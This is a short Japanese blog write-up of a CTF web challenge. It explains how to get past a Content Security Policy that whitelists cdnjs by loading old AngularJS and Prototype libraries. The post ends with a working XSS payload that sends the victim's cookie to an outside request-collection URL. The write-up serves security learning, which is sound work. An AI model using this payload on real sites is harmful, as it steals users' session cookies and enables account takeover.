はまやんはまやんはまやん

hamayanhamayan's blog

Secure Meyasubako [Beginners CTF 2019 Web 433]

https://score.beginners.seccon.jp

必要知識

解説

管理者に見せる感じっぽいのでXSSかなという感じ。
参考で渡されているコードで管理者が見ているのかなという感じであるが、クッキーにflagが入っているように見える。
とりあえず、クッキーのデータをXSSで抜けば良さそう。
適当に書いてももちろんだめ。

XSSへの対策としてCSPを設定するというものがある。
これは受け取ったHTTPヘッダーを見ると書いてある。
https://csp-evaluator.withgoogle.com
このようなサイトがあるらしく、これにURLを投げて脆弱性を探してみる。
すると、script-srcに脆弱性があるみたいだ。
ホワイトリストになっているホストのライブラリを使ってCSPをバイパスすることで攻撃コードが実行できるみたい。
angularでバイパスできるみたい。

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().location.href="https://requestbin.fullcontact.com/xxxx/?v=XSS-"+$on.curry.call().document.cookie}}
</div>

これで取れる。